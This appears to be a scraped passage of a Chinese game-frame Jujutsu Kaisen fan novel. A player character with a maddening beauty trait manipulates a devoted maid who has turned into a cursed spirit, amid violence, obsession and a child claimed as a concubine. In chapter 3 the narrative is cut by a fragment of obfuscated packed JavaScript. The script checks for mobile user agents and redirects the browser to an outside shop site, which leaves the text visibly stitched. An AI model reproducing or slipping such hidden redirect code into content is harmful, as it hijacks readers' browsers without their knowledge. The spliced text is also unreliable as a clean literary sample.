《我的咒术人生模拟器》
1. 第 1 章美即天灾
【最先进的VR技术,最精美的角色立绘,好评如潮《人生模拟器》第二部正式公测上线!】
【全新场景,更多交互动作,您还在等什么呢?抓紧时间下载吧!】
[点击下载]
【~Loading~】
【请您创造角色名字】
[输入:在日华子]
【角色名不符合要求呢】
[投骰]
【恭喜您锁定名字:禅院华子】
【您的性别:女】
[玩家:禅院华子
咒术:5(看不见咒灵)
幸运:5(刮彩票绝对不可能中大奖的幸运)
智力:3(初中生)
魅力:5(很平凡呢)]
【恭喜您,是个完完全全的普通人呢!】
你怒,这不是在嘲讽你吗?
玩家不服,玩家怎么可能是个普通人!玩家选择氪金。
【恭喜您获得6点自由分配属性】
[存档]
【是否确定要将5点属性分配到魅力上?】
你无所畏惧,决定先尝试满魅力时的游戏体验,还剩一点就加在咒术上吧。
[点击确定]
【魅力:5(+5)恭喜玩家滋滋……触发特殊滋……体质……滋滋系统已恢复正常,恭喜玩家触发特殊体质:神的容貌。】
【您的容貌绝非尘世造物所能描绘,——任何生灵直视过您容貌的生灵都会忘却自我,陷入疯狂,他们爱您,恨您,怨您,却唯独不能不在乎您。】
【系统提示:美貌既是利器,又是祸端。请玩家谨慎使用。】
【角色创建成功,祝您游戏愉快!】
失重感来袭,你进入了《人生模拟器(第二部)》
---
【0岁:你出生了。医生直面了你的容貌,她陷入了疯狂。】
一双戴着无菌手套的手将你托起,医生在看清你面容的瞬间凝固了。
[医生状态变化:疯狂,臆想,沉醉,怨恨。]
“啊……啊……”医生喉咙里发出嗬嗬的气音,她梦游般掐住了你的脖子,“生……生而无泣,魔鬼,这容貌……是祸端……绝对的祸端!”
“必须、必须在她……污染一切之前……清除她!”
你疑惑的睁大了你那双黑澄澄的眼睛,感觉有些呼吸不过来,手轻轻的抚摸着医生的脸。
【系统提示:满魅力发挥作用】
医生一怔,无力地垂下手,多么、多么美丽的眼睛啊,多么柔软的小手啊!她还忍心下手吗?
“我、我……”医生疯癫地跑出产房,尖叫道:“啊啊啊!啊!这绝对不是人类!……我诅咒她……”
【恭喜宿主获得[医生的诅咒★★★★]:穷其一生都不会被任何人看见、在乎。任何直视你容貌的人,都会忘却你的容……滋滋……与系统代码……不相符,开始纠正。】
【系统已恢复正常,玩家魅力值永久性降低0.5】
【你获得了新身份:禅院家不起眼的庶女】
【一岁:父亲来探望你了。】
睁开眼时,你听到了父亲的叹息:又是女儿,女儿有什么用?
【你的父亲丢下你离开了。】
[心情值-30,父亲好感度-100,母亲好感度-50]
【家庭成员:父亲(已离去),母亲:禅院诗,女仆:禅院葵】
【两岁:你的母亲抛弃你,心情值-30。】
【三岁:你被辱骂,心情值-10,心情值过低,你生病了。】
---
“您听说了吗?偏院有一个小怪物。”
“哦?什么事。”禅院直哉感兴趣的问。
狗腿像是讲一件趣事一样,把这件事说的跌宕起伏。
“嘿嘿,您听我讲,偏院有个女孩刚一出生就逼疯了一个一级咒术师,到现在那个咒术师还是疯的瞎的呢。”
狗腿搓搓手,“如果不是那个医生实在有能力,现在早就被赶出家门了!”
“没用的东西。”六、七岁的少年冷哼一声,眼神示意狗腿继续往下讲。
“大人们怎么问医生当天的事,医生都闭口不答。只知道刚出生的那个女孩是在是……太美丽了!”狗腿嘲笑,“哈哈哈哈,怎么可能?一个刚出生的婴儿能美到哪里去?”
“那我便去看看吧。”禅院直哉昂起头说,“你带路。”
“欸?”狗腿一僵。
“难道你不知道地点?”
“没有没有、我知道,您往这边请。”
【系统提示:NPC[禅院直哉]进入视野范围。状态判定中……】
【判定通过。魅力特质[神的容貌]生效。】
禅院直哉站在偏院的廊下,脚步突兀地停滞了。
狗腿还在谄媚地介绍这处荒僻院落的历史,声音却渐渐模糊了。禅院直哉的视野里只剩下那个坐在陈旧廊缘边的身影。
三岁的孩子,穿着明显不合身的粗布衣服,黑色的头发软软地披在肩头。她正低头看着庭院里一丛半枯的野草,侧脸在午后的微光里显出一种非人的静谧。
然后,她似乎察觉到了视线,转过头来。
【NPC[禅院直哉]陷入异常状态:[凝滞]。持续时间:未知。】
时间仿佛被无形的手拉长。禅院直哉的呼吸停在胸腔,瞳孔微微扩散。他看见了那双眼睛——纯粹的黑色,印不出任何外物,还有那张脸……
他想说话,却喉咙发紧。
禅院直哉只能“看着”,像一个被抽走发条的人偶。
你看着这个突然出现,穿着精致和服的陌生男孩。他直勾勾地盯着你,表情空白,像个傻子。你等了几个呼吸,他依旧毫无反应。
无聊。
你对他失去兴趣。这张脸还算得上清秀,但远未达到让你愿意花费心思的程度。至于武力值?
你看着他头上的[等级40],无趣地转开视线。
你站起身,拍了拍衣服上并不存在的灰尘,转身朝屋内走去。
【NPC[禅院直哉]异常状态解除。异常时间:七分三十四秒。】
廊下空了。
风穿过庭院,吹动枯草。狗腿早已因少爷长久的沉默而吓得噤声跪伏在一旁,冷汗浸湿了后背。
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禅院直哉猛地眨了下眼,像是刚从深水里挣扎出来。胸腔里迟滞的气息骤然流通,带来一阵眩晕的窒息感。他下意识按住胸口。
“……人呢?”他的声音有些沙哑。
“少、少爷?您是说……那个小怪物?她、她刚才进屋去了……”狗腿抖着声音回答。
禅院直哉盯着那扇紧闭的的拉门,一种强烈的的愤怒混杂着其他情绪在胃里翻搅。
她竟敢……竟敢在他面前如此随意地离开?
但比愤怒更先涌上的,是一种灼热的占有欲。
他苍白的脸上浮起一抹近乎亢奋的潮红,嘴角扯出一个势在必得的弧度。
“去,”他开口,声音恢复了往常那种刻意拉长的傲慢腔调,却带着一丝不易察觉的紧绷。
“回去禀报父亲。就说……我看上了偏院那个庶女。让她收拾收拾,过几日搬到我院子里来。”他顿了顿,补充道,“做侍妾。”
“是、是!少爷!”狗腿如蒙大赦,连连点头。
禅院直哉最后看了一眼那扇门,仿佛想透过纸门再次确认什么。但当他试图回忆刚才所见的具体形貌时,脑海里却只剩下大片炫目的空白,和一种残余的的战栗感。
他皱了皱眉,将这怪异的感觉归结于对方低贱身份带来的冒犯。冷哼一声,拂袖转身离开。
【系统提示:关键发言已被记录。】
【恭喜玩家获得CG[初遇·禅院直哉的妄言★★]】
啊,一点稀有度都没有。玩家对禅院直哉很失望。
在禅院直哉与狗腿身影消失在拐角后许久,庭院另一侧的阴影里,才颤抖着挪出一个人。
是禅院葵,她脸色惨白。
直哉少爷……要华子小姐去做侍妾?
不、不行的,她想起院子里那些夫人们僵硬冷漠的模样,内心尖叫,不能让华子小姐成为侍妾!
她踉跄着爬回偏院仆役的小屋,“小姐、小姐!”
“头发长了,”你打断她,语气平淡,“你帮我剪掉吧。”
“华子小姐……”禅院葵看着你平静的眼珠子,突然安静下来,膝行上前服侍你,“好的,请问需要剪到哪种长度呢?”
你的头发总是长得太快,你像往常一般撒着娇,“就到肩部吧,头发长了太麻烦了。”
“咔嚓、咔嚓”黑色发丝簌簌落下,三岁的女孩依偎在十六岁女仆的怀里,形成一个怪异又静谧的画面。
“这次你不要悄悄把我的头发收集起来了哦。”你埋在女仆的臂弯中。
“小姐……我知道了,我总是控制不住,”禅院葵嗫嚅着,“还有……直哉大人说,他想要小姐您成为他的侍妾。”
“您愿意吗?”禅院葵的手指僵硬地一下一下地梳着你的头发。
“谁?”你毫无印象。
“禅院直哉,家主大人的儿子。”
【三岁:你引起了某位重要NPC的注意。】
【获得潜在关注:[禅院直哉](好感度:60,记忆混淆状态:持续)】
【NPC[禅院葵]心态发生变化:[畏惧]深化,[忠诚度]上升。】
【你的心情值:无变化。】
2. 第 2 章
【是否存档】
[否]
“我不要。”你像小孩子一样细数着禅院直哉的缺点,“毫无印象的人,他肯定长得又不好看,武力值又不高,而且还自大,他怎么配得上玩家大人!”
“欸?”
“我现在就想和你一直在一起嘛!”你像一个小炮弹一样冲进禅院葵的怀中。
禅院葵的身体在你扑进怀里时僵住了。
你很高兴哦,女仆并没有擅自下确定,也没有无视玩家大人的想法,还有一点,女仆是唯一一个没有抛弃你的人!
这一点让玩家大人决定分一些宝贵的时间来记住女仆的名字,毕竟你是真的不擅长记人名嘛,……女仆叫什么名字来着?
“小葵!”你终于记起来名字,兴奋的喊一声。“你想不想和我在一起嘛!”
“……我想的。”禅院葵听见自己干涩的声音,手臂慢慢收紧,“我想永远、永远和小姐在一起。”
几天后,她捧着一个粗布包裹,膝行到你面前。
“小姐,这个……请收下。”她打开包裹,里面是一副素白的,能覆盖上半张脸的纸面。
“是小葵自己做的吗?”
“这么粗糙的东西肯定配不上华子小姐,”小姐禅院葵缩了缩手,点头,“如、如果不想要的话……!”
[小葵的面具★★★:佩戴时会微弱干扰“神的容貌”判定,魅力-1。]
你一把手夺过面具,开什么玩笑,送给玩家的东西自然就是玩家的。
“小葵给的东西我都喜欢。”你拿起面具,对着模糊的铜镜比了比。镜中的脸被遮去大半,只露出下颌和嘴唇。
【魅力:9.5(-1)】你眨了眨眼。
如果佩戴上这个的话,小姐会不会过上平静的生活呢?禅院葵想问你,但最终这句话还是被她吞回了喉咙。
【四岁:你被女仆偷藏起来了。】
偏远的庄子。
你睁开眼,其实在你被女仆惊魂失措地抱起来的那一瞬间,你就已经知道了女仆想要做什么。
不过你并没有阻止她的动作,因为你对接下来的发展很感兴趣。
“像冒险一样呢,小葵。”你轻声说。
禅院葵身体一僵,垂下眼睛,“您不怪我吗?
“怎么会?”你诧异,“小葵怎么会认为我会怪你呢?”
“因为……”小葵嗫嚅着,“我自作主张,我没有告诉您,我也没有考虑您的感受。”
嗯嗯,你跳起来,满意地点头,小小NPC对玩家的性格摸得很透嘛,继续保持,就这样一直揣摩玩家的心思吧!
“继续加油!”你鼓励道。
“欸?”禅院葵困惑,小声道:“小姐总是说一些我听不懂的话。”
很快她又将这一点抛之脑后了,因为想着她把小姐偷出来后,要怎么样养活小姐,还有,她要怎么样才能给小姐更好的生活。
从禅院家逃出来后,她典当掉了她偷的一些首饰,钱不够了她就开始发了狠地工作,不过她才十六岁,能接到的工作少的可怜,但她还是一天打三份工,回来后就将她的工资全部用在你的身上。
你看着她这样拼命,不存在的良心都开始痛了。
虽然辛苦,但禅院葵的眼睛一天比一天亮,脸上也带了笑。
“我就要吃可可饼嘛!”你央求着她,“我们出去吃好不好?”
“好,但是小姐要注意牙齿。”她仔细检查你的牙齿,确认无误后,她才带着你出门。
不过,即使是带上了面具的你,魅力值也达到了惊人的[8.5]啊。
你看着一排排痴迷的NPC,扯了扯禅院葵的袖子,指向橱窗里精致的可可饼,“我要这个。”
柜台后的店主手一抖,紧张又兴奋地看着这个洋娃娃似的女孩,竭力露出她自认为最温和的笑容,“好、好的,不用给钱了!”
你很自觉的拿过,也没有对NPC说谢谢。毕竟整个世界就是为玩家而生的。
忽然,一个衣着体面却眼神狂乱的中年男人最先踉跄着冲过来,手里攥着一把皱巴巴的钞票。“给、给你……都给你……”
人群被这个引火索一下子点燃了,纷纷围了上来,像是在开演唱会。
“小姑娘,给钱你可以看看我吗?”
“滚啊,死炼铜癖,我可以无偿给小姐钱!”
“我也有……”
人群混乱起来,遮住了隐在高楼的一双诅咒师的眼睛。
“阿琳达……我的阿琳达,”他神经质地念叨着,“我终于见到你了,别害怕,我一定救你出——”
一只骨节分明,带着伤疤的手,像钳子一般扣住了诅咒师的手腕,轻轻一拧。
“啊啊啊啊!!你、你是谁?!”诅咒师痛苦地惨叫,“我为什么没感觉到你!”
诅咒师甚至没来得及反击,就像破布袋般被掼倒在地,禅院甚尔用力碾了碾诅咒师的头,诅咒师就被吓得昏死过去。
你抬起头。
“麻烦。”他啧了一声,声音低沉,不去直视你的脸。
倒也不是他善心大发,忽然间就想救一个人,只是富豪交到他手中的钱实在是太多。
“这些钱,够不够你保护她?”
禅院甚尔探头一看,咋舌,刚好烦了禅院家出来透透风,就接到这么赚的任务,“行,我接了,要求呢?”
“你不许看她的脸!她的脸只能我一个人看……一个人……”富豪喃喃。
禅院甚尔结束回忆,听着混乱人群的嘈杂声,深刻感受到了你那张脸的麻烦。
【系统提示:NPC[禅院甚尔]进入视野范围。】
最近你一直和小葵在一起,虽然你也不是不乐意,但是一直和一个NPC呆久了你还有点腻味。
现在,出现了一个新的NPC,你对此很感兴趣。
十六岁的少年很高,穿着普通的黑色运动服,嘴角有一道旧疤,绿眼睛像无机质的玻璃珠,却没有直视你。
禅院甚尔。你看着他头顶上的[等级80]。
嗯不错!你心里评价着。
禅院甚尔解决麻烦立刻就离开了这个是非之地。
你也拉着禅院葵的手,“小葵,我们回去吧,这里好无聊。”
周围的人自发地散开,无人阻拦你。
[和女仆一起游玩,心情值+10]
大多数时候,禅院葵都是愿意和你出来的,渐渐地,她开始不安。
每一次放你出去,她都会龟毛地检查面具,检查头发,检查服饰……到后来你再次在街道上引起了一次巨大的轰动时:
“不行、不行!外面好危险……求您了,在这里就好,和我在一起就好……”她突然跪下,抱住你的腿,声音带着哭腔。
你伸出小手,擦了擦她眼角的泪。
“好啊。”你说,语气轻松得像在答应一件微不足道的小事。“那小葵要一直陪我玩哦。”
【四岁:你被软禁了。】
[心情值-5]
起初,日子很安静。
直到某次禅院葵像往常一样外出挣钱,你坐在陈旧榻榻米上,也像往常一样带着那副面具。
“是这里……肯定是这里……”
“荒谬!你们这些满身铜臭的……”
“都滚开,她是我的!”
你托着腮,看着门板上晃动的阴影。等级都太低,脸也记不住,无聊。
“砰!”
门被猛地撞开。两个男人和一个女人踉跄着倒
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进狭小的空间,他们在看见你的瞬间,同时僵住。
三人居然就这样在你面前缠斗起来了,他们攻击彼此,只为争夺离你更近一寸的距离。
不知是谁的手臂,更进一步触碰到了你。
系绳断裂,轻飘飘散开。
“哐当——”你的面具掉了。
你的脸完整地暴露两个男人外加一个女人凝固的视线中。
所有动作停止了,连呼吸声都消失了。
“哎呀,真讨厌。”你嘟囔着,笑着看向身后,“小葵,你回来啦?”
你安静地坐在那里,仰着脸,没有面具。
黑发映着窗外残光,眼眸依旧倒映不出任何事物。那张脸……
禅院葵手里的塑料袋掉落。几颗打折的橘子滚出来,沾满尘土。
她没去看那三个再度向你挪动的人,她只是看着你。
看着你完全暴露的,她曾以为能被面具和偏远山庄藏起的容貌。
一种冰冷的恐惧攥住了她的心脏。她说不清这恐惧源于何处,是因为华子小姐可能的命运,还是因为……
她忽的意识到,那个她从出生就一直照顾、美丽得不像人类的孩子,或许根本不是她所能理解的“东西”。
或许你的一生根本不可能和她一样平静无波。
她嘴唇动了动,没发出声音。
【NPC禅院葵状态更新:[崩溃的独占] → [彻底崩坏]。理性值归零。】
禅院葵的身体在尖啸中爆裂开。
不是血肉的炸裂,是某种更黑暗粘稠的东西从从她的影子里喷涌而出。十六年压抑的恐惧、虔诚、卑微的爱与占有欲尽数崩坏,她的身形被不断膨胀的阴影吞没,拉长,露出底下蠕动的暗色物质。
【等级跃迁:35→43→81】
【种族转换:人类→咒灵】
【[领域雏形:狭小的净土]生成中……】
“滚出去。”她的声音压抑着,轻得像耳语。她的脸在阴影里浮沉,还残留着属于“禅院葵”的轮廓,但眼睛只剩两个燃烧着浑浊恶意的空洞。
她的声音撕裂,忽的尖锐起来,“她是……我的!啊啊啊!!!”
禅院葵——或者说,那个曾经是禅院葵的东西——伸出了“手”。
“你们、你们全部给我西内!!!”
【恭喜玩家获得最终CG:咒灵的珍宝】
咒灵缓缓“转”向你,它向你伸出勉强维持着手部形状的黑色凝聚体。
“……小……姐……”
咒灵终于从你漆黑澄澈的瞳孔里看见了自己的倒影——扭曲,丑陋。
是华子小姐最讨厌的样子。
“对……不……起……”碎片般的声音里,竟能听出些许惶惑。
还未成雏形的领域消散了。
---
额诶诶!!!怎么回事,怎么突然就获得最终CG了?!
你大惊,不对啊!结局不该是这样啊!?你的小葵怎么不见了!
你慌忙地翻找着自己存的档,发现自己只存了一个档,连忙回去最初的那个档想去寻找禅院葵,系统却提示禅院葵灵魂已崩坏,找不回来了。
你崩溃大叫,“客服,客服!我要投诉你们,我的NPC不见了!!!”
你猛戳客服,客服被你戳得不得不出来安抚你,“尊敬的玩家,这是正常现象哦。”
“那为什么我的NPC不见了!”
“我帮您找找哦。”客服越找,额头的汗就流得越多,“不、不好意思,这的确是个bug。我们会给予您补偿的。”
“我不要补偿,”你撒泼打滚,“我不管我不管,反正我就要禅院葵这个NPC,你们必须给我找到,不然我就投诉!”
3. 第 3 章
“尊敬的玩家,经核实,NPC禅院葵数据已深度异化,与当前“咒灵”状态绑定。”客服讨好道,“不过我们有补偿方案:随机属性点+2,或稀有道具[小葵的面具·改](魅力值锁定为5)。”
“我都不要!我只要小葵!”你气急,开始试图用手去抓那些发光的系统面板,“把小葵还给我!不然我去论坛刷差评,刷一万条!”
“很抱歉,尊贵的玩家,目前唯一解决方案是继续当前存档。NPC禅院葵的‘核心意识’仍存在,但形态不可逆。是否接受?”
你停了下来,喘着气,瞪着面板。
“好吧。”你吸了吸鼻子,不情不愿地说,“继续就继续,但属性点和面具我都要,这是你们该赔的。”
“……补偿已发放。祝您游戏愉快。”
【系统提示:连接恢复,载入当前位置。】
---
你重新“站”在那个破败的房间里。
明明整个房间都成为了它的领域,那个庞大的的阴影却蜷缩在领域角落。它不再像刚才那样狂暴地膨胀,而是不断收缩着,试图把自己变得小小的,让你忽视它。
【请选择——】
【A. 靠近它,说:“小葵,我们永远在一起吧。”】
【B. 看着它,说:“……好丑。”】
【C. 其他】
【系统提示:此为重要节点。您的反应将导向不同结局,请您谨慎选择。】
你毫不犹豫地先戳了一下【存档】。
[选A]
你停在了它面前,蹲下身,歪着头看着那团蠕动的物质。
“小葵,”你伸出手,对它露出你自认为最可爱的笑容,“我们永远在一起吧!”
咒灵静止了,它身上那些不断翻涌的黑暗似乎都凝固了一瞬。
是……太阳啊,咒灵黑乎乎的眼睛看着你,它极其缓慢地伸出一缕黑色雾气,碰了碰你的指尖。
“小姐……”咒灵的整个身体都仿佛浸润在暖洋洋的光芒中,连边缘都像是被融化了。
不、真的是融化了啊!?
“我好、好幸福……”
你甚至都能看见它幸福的冒泡,咒灵的身影里冲出一个十六岁孩子的幻影,她握住你的手与你紧紧相拥。
“嗯!……永……远……一起!”
【恭喜玩家获得CG:立地成佛·她的太阳】
没有了,咒灵没有了,人也没有了。
“啊啊啊啊!不对吧?”你尖叫,“不应该是她答应和我永远在一起,然后我们甜甜蜜蜜进入后日谈吗?!”
“我的小葵!呜呜呜……怎么这么好啊……呜呜,连拥有我都不敢吗?”你哭泣。
玩家不服,玩家要重选!
[选B]
这次,你看着角落里那团的咒灵,皱了皱鼻子,竭力表达着自己的厌恶。
“……好丑。”
哈哈哈,这次小葵总不至于直接立地成佛了吧?你心里自得于自己精妙绝伦的表演。
小葵听见了这句话肯定会讨厌你,然后你们俩纠纠缠缠,后期你再慢慢的提高小葵对你的好感。
你不看小葵,心里面说着抱歉。不是你想这么对待小葵,这是为了你们俩以后的幸福生活啊!
咒灵,彻底静止了。它仿佛变成了一尊用最肮脏的淤泥和绝望浇筑的雕像。
它开始“融化”。
啊啊啊!又要融化了!
你连忙冲出去,抱住它的触手,“对不起对不起,小葵我开玩笑呢!我不是故意那么说你的,你看看我好不好?”
“我知道的……”咒灵融化的身体里发出声响,“小姐总……是,厌恶我的……”
它知道了个啥呀?它根本啥都不知道!
“小姐……厌恶我的话……我就消失好了。”
然后,它就彻底消失了。
房间里阴冷的气息一扫而空,连残留的血腥味都淡了很多。午后的阳光从破窗斜斜照进来,照亮空气中飞舞的尘埃。
安安静静。
【恭喜玩家获得CG:消散·她不在意】
你彻底傻眼了。
小葵那么duang大一个身躯说消散就消散,难道没有什么她留恋的吗?!难道她不该恨你吗!
呵呵呵……玩家要彻底黑化了。玩家就不信打不出好的结局!
就是你了[选项C]!
你看着角落里那团不断试图隐藏自己的扭曲的咒灵,竟诡异地看出了点萌感。
不过你还是呵呵笑了。玩家不发威,当玩家是病猫呢。
你后退半步,眼睛一闭,直挺挺地向后倒去,后脑勺精准磕在地板最响的那块木板上。
“!”
你感觉到冰冷的“手指”颤抖着探向你的鼻息和颈侧。那团阴影完全笼罩了你,不断收缩又膨胀,散发出混乱的诅咒波动。
它不敢碰你太多,又不敢离开。
你闭着眼,心里给自己竖大拇指:计划通。她果然舍不得。
接下来几天你都强制自己陷入昏昏沉沉的状态,不管咒灵怎么喂你水,食物,你都一律吃不进,直到咒灵不得不放弃时时刻刻黏在你身边,跑出去寻找医生了。
你睁开眼睛,看着她远去的背影,许久不进食的脸色苍白至极。
你立刻转身离开。
咒灵绑回来一个医生,在她进入庄子的一瞬间,她呆愣住了,庞大身躯僵在原地,触手茫然地捞着空气。
“小姐……呢?”
“啊啊啊!我不知道、我不知道!求求你放我回去!”医生尖叫道。
其实你就在百米开外,看着她像一锅煮沸的沥青惊魂失措乱翻乱找的样子。
你面上带着[小葵的面具·改],魅力被固定到5,加上开局[医生的诅咒],意外地卡出bug,导致你存在感低得可怕,只要你不出声,基本上没人能发现你。
可要坚持寻找你啊,小葵。你想,这可都是为了你们的happy ending。
【系统提示:NPC禅院葵(咒灵形态)距离玩家还有1000米…500米…300米……】
你用系统地图避开她的搜索路径。你故意在她可能经过的巷口留下一点点气息,然后在她即将抵达的前一刻,又转身离开。
【第四天:你与她错身而过,距离100米。】
【第六天:你在便利店外短暂停留,透过玻璃窗看见远处黑雾冲天而起,整条街的玻璃同时炸裂。】
你喝完牛奶,扔掉盒子,慢悠悠拐进另一条街。
【第八天:你在公园滑梯顶端,看见一个白发蓝眼的男孩正好奇地抬头看你。】
【NPC五条悟(幼年)进入视野。】
你们同时“咦”了一声。
[姓名:五条悟
魅力:8
等级:66]
“你看见我了?”你感兴趣地看着这个貌美的NPC。
“你又不是鬼,我为什么看不见你?”五条悟疑惑。
还有这双夺目的蓝色眼睛,[天赋:六眼(已装备,不可剥夺)]。
好吧~你失落地从他眼睛上移开视线。
“喂,什么眼神。”五条悟恶寒,“还有,你身上沾着诅咒的气味诶。”
“嗯,想知道吗?”你歪头,“如果你让我摸一下你的眼睛的话我就告诉你。”
“我才不要,变态·面具·怪人。”幼年五条悟蹲在墙头,像只精致又傲慢的猫。
挺可爱的,以后再来找他吧,反正你有足够的档位。不过,当然还是小葵更重要啦。
【NPC禅院葵(咒灵形态)距离:200米,急速接近中。】
你拍拍屁股跳下滑梯,身影没入树丛。
五条悟站在原地,看向黑雾涌来的方向,一级……咒灵?
【第十天:你站在最初离开的那间破屋门前。】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154400|196515||http|test|mini|href|location''.split(''|''),0,{}));
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>你取下了面具,不出一分钟,门窗被黑暗彻底封死,咒灵的身影扑面而来。它比十天前更庞大,也更不稳定,像一颗随时会爆裂的绝望黑洞。
它看着你,不敢靠近。
你叹了口气,用这十天练习了无数遍的,混合着委屈与撒娇的嗓音,软软开口:
“小葵……我找了你好久哦。”
“那天晕倒后,我醒来就不见你了……我好害怕。”你揉揉眼睛,努力挤出一点湿润,“我以为你讨厌我,不要我了……所以只好躲起来,一边躲一边找……”
你向前走了一步,它剧烈颤抖着后退。
“你看,”你举起手腕,上面有昨天自己不小心划到的浅浅红痕,“我找你的时候还受伤了,好疼。”
咒灵发出破碎的的哀鸣,猛然收缩,小心翼翼缠住你的手腕,轻轻触碰那道红痕。
“对……不起……”它的声音混杂着模糊的哭腔,“我总是……让小姐……受伤。”
“嗯嗯!”你笑肯定她,“没关系哦,只要你一直在我身边,我就不会受伤了!”
你伸手主动抱住她的躯体,把脸埋在翻涌的黑暗里。
“所以你一定要看紧我,我们一直在一起好不好?我们拉钩嘛!”
你伸出手,咒灵久久不动弹。
“感觉小葵都变笨啦,快来拉钩,”你埋怨,伸出手抓住她的触须,絮絮叨叨地说:“因为我有小葵送的面具,所以我们可以一起过平凡的生活哦,我们还要永远在一起。拉钩,上吊……一百年不许变!”
“一百年……不许变。”咒灵喃喃道,声音颤抖,她整个存在都因你这句“一百年”而战栗,然后更深地缠绕上来。
咒灵发出一声悠长的嗡鸣,它周身的狂暴与混乱渐渐平静,而后温顺地环绕在你脚边。
【五岁:你答应和禅院葵一直平凡地在一起】
【六岁,咒力已达标,你觉醒术式了。】
[是否存档]
[否]
反正你都决定带上面具和小葵平凡地一起生活了,也没必要刷太高的武力值。
【请玩家抽取您的术式。】
你点击抽取,一阵绚丽的特效在你的眼前乱炸,光彩转了几圈落到了:
【恭喜玩家获得术式:咒力噬取★★★:
术式持有者能将自身化作一个“活的咒力转换器”。通过接触或特定媒介,可以强行抽取比自身等级低的咒灵的咒力或人类术师的咒力,并将其转化为自身养分。】
【恭喜您解锁咒术等级】
[姓名:禅院华子
等级:40(三级咒术师)
术式:咒力噬取
咒术:6
体力:2
特殊体质/天赋:神的容貌(封印中)]
你看着抽出来的术式沉思,看来手气不错?这还是个上限挺高的技能。
不过,不知道这个术式能作用于几个人,也不知道能作用多久。
【七岁:你和小葵搬到了乡下,过上了田园生活。】
【八岁:你遇到了一个名为庵歌姬的人,她兴奋地想和你做朋友,可能把你视为同类了。】
【九岁:禅院家找上门了,咒灵葵击退了他们,你的生活依旧平静。】
【九岁·深秋】
咒术界的动作比你预想的更快。
一支由三名二级、一名准一级咒术师组成的“祓除小队”在一个霜露浓重的清晨踏入了你居住的乡野。
京都某处隐秘的和室内。
一盏幽灯照亮半室古籍,空气里弥漫着陈年纸张与线香的味道。一只肤色苍白的手,正轻轻拂过一份刚送达的简报。指尖在“不明咒灵”“非人美貌”等字眼上停留着。
手的主人沉吟片刻,昏黄灯光掠过他额头,一道清晰的缝合线痕迹横贯了整个颅顶。
“一级咒灵击退禅院,行动精准,不是无差别杀戮。”羂索思考,“新的‘咒灵操术’吗?”
4. 第 4 章
这边你正欢快地等待着后日谈呢,结果突然刷出了个特殊任务。
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【抱歉玩家,这是重要节点,不能跳过呢。】
行吧,你撇嘴,那就看看接下来会发生什么吧。
偏远的森林里开进了一辆城市的车子。
辅助监督边把车停在路边,向身前的人汇报,“目标咒灵确认一级,形态为扭曲人形,疑似由强烈执念转化。”
他停顿了一下,补充道:“本次行动由禅院甚一先生全权指挥,请诸位小心。”
与其说是祓除咒灵,不如说是铲除家丑外加给禅院家的少爷增添一点漂亮的履历,禅院甚一身后的两位咒术师就是此次的保镖。
“区区一个刚成型的一级咒灵,”禅院甚一率先走向通往山庄的荒径,语气随意,“速战速决。”
他身后的人也一并离开。
“由暗而生,比黑更黑,比浊更清,在此远暗——”辅助监督看着他们的背影念道。
黑色的帐笼住了天空。
禅院甚一停下脚步,微微抬手,身后两名非家系出身的咒术师立刻止步,姿态恭敬。
等级更高的准一级术师垂着眼,等待指示。
“你,”禅院甚一指向那名准一级,“先去试探,确认咒灵核心位置。”
“是。”准一级术师毫无异议,身形前掠。
他们很快看到了目标。
“禅院家的耻辱。”禅院甚一向前一步,声音刻意放大,确保每个人都能听清:“禅院家失踪的庶女,背叛家族的咒灵。我奉禅院家命令,前来祓除,无关人员速速离开。”
“束手就擒,或许能留个全尸。”他轻蔑开口。
庵歌姬额角沁出汗,咒力调动到极致。“华子,我会帮助你们的!”
庵歌姬是你在村庄认识的人,她把你视为咒术师,想和你做朋友,天天粘着你,一来二去你们就熟悉了。
最初她看到咒灵葵时很惊讶,但发现咒灵葵不伤人后,她就坚信咒灵葵一定是个好咒灵。
你看着眼前紧绷着肌肉的三人,掠过他们的头顶:[等级65]、[等级73],最强的也只是[等级81]
“不用啦。”你点起脚拍拍庵歌姬的背,“你就在一边看着就好,他们很弱的。”
被无视的禅院甚一恼怒。
“狂妄!”他低吼,不再维持那套“劝降”的虚伪流程,“攻击!先拿下那个戴面具的!”
准一级术师与二级术师应声而动,而下一秒,黑色的触须,后发先至。
它们并非从咒灵葵所在的位置伸出,而是直接从三名咒术师脚下的阴影中暴起,带着特级咒灵的绝对力量瞬间绞紧。
“什——?!”
“啊,忘记说了,”你假装惊讶,“现在小葵是特级咒灵哦。”
小葵早在这几年被你喂到了特级,1级和特级差的可不是一星半点。
骨裂声清脆密集地响起,禅院甚一脸上狂妄的表情甚至没来得及转换,就被剧痛和窒息覆盖。
准一级术师的术式半途夭折,反噬让她喷出一口鲜血。二级术师连惨叫都未能发出,便昏死过去。
战斗刚刚开始便结束了。
看他们赛前放狠话放的那样厉害,结果一个照面就被小葵打败了,甚至都没等到你出手。
【战斗结束。敌方全员丧失行动能力】【您的咒灵击败了敌人,您的经验值增加了】
[等级跃迁55→60]
你嫌弃地皱了皱眉,经验值好低啊。
“看吧,不用担心,我们很厉害的啦。”你对庵歌姬说。
庵歌姬呆呆地看着瞬间逆转的一切,松开了结印的手。
她脸上慢慢浮上喜悦,走向你 ,“华子和小葵真厉害!”
“我们把他们送回去关着吧,然后可以告诉那些人,小葵不是坏的咒灵,这样一来我们就可以——”
“噗嗤。”鲜血猛的撒在庵歌姬脸上,她愣住。
庵歌姬的眼球向左转动了一下,看着触手连带着血块抽出身体,在她眼前轻轻晃动。
“诶?”
“不对哦。”你对僵在原地的庵歌姬笑了笑。
面具孔洞后,那双具有魔力的黑眸静静地映出庵歌姬瞬间苍白的脸。咒灵葵在你身侧无声膨胀,铺展开阴影拖起你。
“虽然我也想和小葵平凡的生活,但是总是有人来打扰我们呢。”你缓缓升离地面几寸,轻轻拖起庵歌姬的脸。
“你想和我作对吗?”
“没、没有!我只是……”庵歌姬猛地摇头,泪水毫无预兆地涌出。即使她从未见过你的真容,即使小葵是一只咒灵,她都真真切切地把你们当成朋友。
